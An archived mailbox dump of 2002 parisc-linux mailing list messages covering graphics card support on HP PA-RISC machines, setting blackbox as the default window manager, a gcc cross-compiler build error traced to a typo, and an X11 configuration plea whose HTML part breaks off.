Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DC87A482B; Tue, 23 Apr 2002 22:20:23 -0600 (MDT)
In-Reply-To: Message from "B. Douglas Hilton" <bdhilton@charter.net> 
   of "Tue, 23 Apr 2002 18:51:44 EDT." <3CC5E580.5090403@charter.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14640

"B. Douglas Hilton" wrote:
> Hi list!
> 
> I just subscribed here. I'm on debian-hppa but that doesn't
> seem to get much traffic, so I'll repost my question here.

Yeah - parisc-linux is a more appropriate place for the question anyway.

> I sold it on Ebay and rolled
> my profits into a C200 with some unspecified FX graphics
> board.

Not supported since HP hasn't published the docs for it.
Almost all the older gfx cards are supported including
the Vis-EG (PCI or GSC) that you mentioned in you posting
to debian-hppa.

grant



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing Debian woody in PA-RISC (HP9000 C100)
Date: Tue, 23 Apr 2002 22:23:50 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020424042350.93C324835@dsl2.external.hp.com>
References: <000e01c1eb21$8e684210$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621253 6489 80.91.229.3 (22 Nov 2014 01:54:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Duraid Madina" <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 22:23:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 93C324835; Tue, 23 Apr 2002 22:23:50 -0600 (MDT)
In-Reply-To: Message from "Duraid Madina" <duraid@fl.net.au> 
   of "Wed, 24 Apr 2002 09:49:45 +1000." <000e01c1eb21$8e684210$022a17ac@simplex> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14641

"Duraid Madina" wrote:
> Any chance 0.9.4 would boot on PA-8700s?

No chance. I still don't have access to PA-8700.
I'm working on fixing that but as you might guess,
things are, uhm, complicated at the moment inside HP.

But as several folks noted, there's no point in doing a 0.9.4.
My bad for suggesting it...I didn't realise how close Debian 3.0
is to releasing.

grant



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: s-clarob@st-aidans.cumbria.sch.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Setting blackbox as default WM
Date: Wed, 24 Apr 2002 12:01:52 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020424115946.00a67b30@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621253 6500 80.91.229.3 (22 Nov 2014 01:54:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 24 05:06:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cleo0.lancs.ac.uk (unknown [212.219.207.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1608B482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 05:06:27 -0600 (MDT)
Original-Received: from name1.st-aidans.cumbria.sch.uk ([212.219.204.44])
 by cleo0.lancs.ac.uk (Sun Internet Mail Server sims.4.0.1999.06.13.00.20)
 with ESMTP id <0GV20042FK6N1T@cleo0.lancs.ac.uk> for
 parisc-linux@lists.parisc-linux.org; Wed, 24 Apr 2002 12:06:23 +0100 (BST)
Original-Received: from NETADMIN2.st-aidans.cumbria.sch.uk (s-clarob@[10.106.17.19])
	by name1.st-aidans.cumbria.sch.uk (8.9.3/8.9.3) with ESMTP id MAA22907	for
 <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 12:03:55 -0400
X-Sender: s-clarob@10.106.16.2
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14642

How do I specify black box to be my default windows manager, it's a long 
time since I have had to do this and that was on a RH6 based system.

I have searched through the /etc/X11 directory and not found any thing that 
works.

Thanks

Rob




From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Setting blackbox as default WM
Date: Wed, 24 Apr 2002 13:48:16 +0200
Organization: TuxFamily
Lines: 16
Approved: news@gmane.org
Message-ID: <3CC69B80.1020509@tuxfamily.org>
References: <5.1.0.14.0.20020424115946.00a67b30@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621253 6501 80.91.229.3 (22 Nov 2014 01:54:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: s-clarob@st-aidans.cumbria.sch.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 24 05:48:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F672482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 05:48:01 -0600 (MDT)
Original-Received: from tuxfamily.org (raptor [140.93.21.82])
	by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g3OBlxrS011126;
	Wed, 24 Apr 2002 13:47:59 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020314
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14643

Hi,

> How do I specify black box to be my default windows manager, it's a long 
> time since I have had to do this and that was on a RH6 based system.

put the complete path to black box executable in your ~/.xinitrc and 
startx will automatically run black box as your window manager.

Since it is not a parisc kernel devel issue, please send this knid of 
question eslewhere :-) debian-user@lists.debian.org for example.

Thomas.





From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Troup <james@nocrew.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Setting blackbox as default WM
Date: 24 Apr 2002 13:00:01 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <87k7qxwblq.fsf@tacitus.systems>
References: <5.1.0.14.0.20020424115946.00a67b30@10.106.16.2>
	<3CC69B80.1020509@tuxfamily.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621254 6507 80.91.229.3 (22 Nov 2014 01:54:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: s-clarob@st-aidans.cumbria.sch.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 24 06:00:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cicero.e-mis.co.uk (cicero.e-mis.co.uk [212.240.194.162])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5759482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 06:00:05 -0600 (MDT)
Original-Received: from tacitus.systems ([172.21.77.253] helo=tacitus)
	by cicero.e-mis.co.uk with esmtp (Exim 3.32 #1 (Debian))
	id 170LRK-0001a3-00; Wed, 24 Apr 2002 13:00:02 +0100
Original-Received: from james by tacitus with local (Exim 3.35 #1 (Debian))
	id 170LRJ-0000U8-00; Wed, 24 Apr 2002 13:00:01 +0100
Mail-Copies-To: never
In-Reply-To: <3CC69B80.1020509@tuxfamily.org>
Original-Lines: 16
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14644

Thomas Marteau <marteaut@tuxfamily.org> writes:

> Hi,
> 
> > How do I specify black box to be my default windows manager, it's a
> > long time since I have had to do this and that was on a RH6 based
> > system.
> 
> put the complete path to black box executable in your ~/.xinitrc and
> startx will automatically run black box as your window manager.

Or, to change it system-wide 'update-alternatives --config
x-window-manager'.

-- 
James



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Wed, 24 Apr 2002 15:42:06 +0200 (CEST)
Lines: 50
Approved: news@gmane.org
Message-ID: <1019655726.3cc6b62e8fdcf@webmail.tiscalinet.be>
References: <3CC2B937.8020509@freebel.net> <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk> <20020423111903.A8545@systemhalted> <1019582168.3cc596d87ba8a@webmail.tiscalinet.be> <20020423174758.C8545@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621254 6511 80.91.229.3 (22 Nov 2014 01:54:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:14 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 24 07:42:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26AED4835
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 07:42:35 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 170N26-0002cq-00; Wed, 24 Apr 2002 15:42:06 +0200
In-Reply-To: <20020423174758.C8545@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14645

Quoting "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>:

> > 
> > Joel
> > 
> > PS1: about step 4.2 of your howto-xc, I notice a small difference
> between html
> > and pdf (in html you use gcc option "enable-shared" in pdf
> "disable-shared").
> > But this not the cause of the above problem.
> > 
> > PS2: I also make an apt-get dist-upgrade (with ftp.de.debian.org) so
> that native
> > gcc is now 3.0.4-5 (I think it was already installed last week)
> > 
> >
> 
> Both the HTML and PDF version are the same (just double checked).
> 
> http://www.baldric.uwo.ca/~carlos/HOWTO-Parisc/index.html
>
http://www.baldric.uwo.ca/~carlos/HOWTO-Parisc/HOWTO-Building_PARISC-LINUX_CrossCompiler.pdf
> 
> In section 4.2 you are bootstraping the C compiler without glibc
> so you must use --disable-shared.
> 
> In section 4.5 you have already built glibc and you can turn
> shared support back on with --enable-shared.
> 
> c.

Yes you have right (as it is my html which was wrong I do have forgot to
'reload' the page). Sorry for confusion.

Thanks also for explanation and attention.
    Joel

> 
> p.s. The HTML and PDF do have some formatting differences...
>      I'll get around to making them look similar later :}
>      Dang... just noticed I missed one of the path changes in
>      the pdf...
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Wed, 24 Apr 2002 15:50:29 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <1019656229.3cc6b825cce64@webmail.tiscalinet.be>
References: <3CC2B937.8020509@freebel.net> <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk> <20020423111903.A8545@systemhalted> <1019582168.3cc596d87ba8a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621254 6516 80.91.229.3 (22 Nov 2014 01:54:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <joel.soete@freebel.net>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	INVALID_ADDRESS@.SYNTAX-ERROR
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 24 07:52:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 303E34851
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 07:52:14 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 170NAD-0002fq-00; Wed, 24 Apr 2002 15:50:29 +0200
In-Reply-To: <1019582168.3cc596d87ba8a@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14646

Quoting joel.soete@freebel.net:

> 
> gcc -c -DIN_GCC    -g -O2 -W -Wall -Wwrite-strings -Wstrict-prototypes
> -Wmissing-prototypes   -DHAVE_CONFIG_H    -I. -Ijava
> -I/GNU-Dev/parisc-linux/src/gcc/gcc
> -I/GNU-Dev/parisc-linux/src/gcc/gcc/java
> -I/GNU-Dev/parisc-linux/src/gcc/gcc/config
> -I/GNU-Dev/parisc-linux/src/gcc/gcc/../include
> /GNU-Dev/parisc-linux/src/gcc/gcc/java/parse.c -o java/parse.o
> /tmp/ccj2Nlrs.s: Assembler messages:
> /tmp/ccj2Nlrs.s:148746: Error: Field out of range [-262144..262143]
> (-263392).
> make[1]: *** [java/parse.o] Error 1
> make[1]: Leaving directory `/GNU-Dev/parisc-linux/build/gcc/gcc'
> make: *** [all-gcc] Error 2


Forget. The actual problem was again typo: in configure step I type
'enable-langages=c' in place of 'enable-languages=c' (lack of a u between g & a).

Sorry for mistakes.
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BARDOU Jean-luc" <jlc.bardou@free.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pb Video X11
Date: Wed, 24 Apr 2002 23:12:34 +0200
Lines: 186
Approved: news@gmane.org
Message-ID: <000001c1ebd4$c22df370$1f25933e@lepiedpalme.couincouin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0001_01C1EBE5.85B6C370"
X-Trace: ger.gmane.org 1416621254 6518 80.91.229.3 (22 Nov 2014 01:54:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 24 15:12:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postfix3-2.free.fr (postfix3-2.free.fr [213.228.0.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86944482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 15:12:48 -0600 (MDT)
Original-Received: from donaldduck (toulouse-2-a7-62-147-37-31.dial.proxad.net [62.147.37.31])
	by postfix3-2.free.fr (Postfix) with ESMTP id 77810180EC
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Apr 2002 23:12:36 +0200 (CEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14647

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C1EBE5.85B6C370
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Welcome,
With  the debian 0.9.3
I'am a problem config X11 graphic card on B180L gecko GSC is not
reconized.
 
Help
Please!!!
 
 

------=_NextPart_000_0001_01C1EBE5.85B6C370
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C1EBE5.840C6ED0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:HyphenationZone>21</w:HyphenationZone>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.StyleCourrierlectronique17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Tableau Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DFR link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:35.4pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Welcome,<o:p></o:p></sp=
an></font></p>

<p class=3DMsoNormal><span class=3DGramE><font size=3D2 =
face=3DArial><span lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>With=
<span
style=3D'mso-spacerun:yes'>&nbsp; </span>the</span></font></span><font =
size=3D2
face=3DArial><span lang=3DEN-GB =
style=3D'font-size:10.0pt;font-family:Arial;
mso-ansi-language:EN-GB'> <span class=3DSpellE>debian</span> =
0.9.3<o:p></o:p></span></font></p>

<p class=3DMsoNormal><span class=3DSpellE><font size=3D2 =
face=3DArial><span lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I&#8=
217;am</span></font></span><font
size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:10.0pt;font-family:Arial;
mso-ansi-language:EN-GB'> a problem <span class=3DSpellE>config</span> =
X11 graphic
card on B180L gecko GSC is not <span =
class=3DSpellE>reconized</span>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Help<o:p></o:p></span><=
/font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Please!!!<o:p></o:p></s=
pan></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

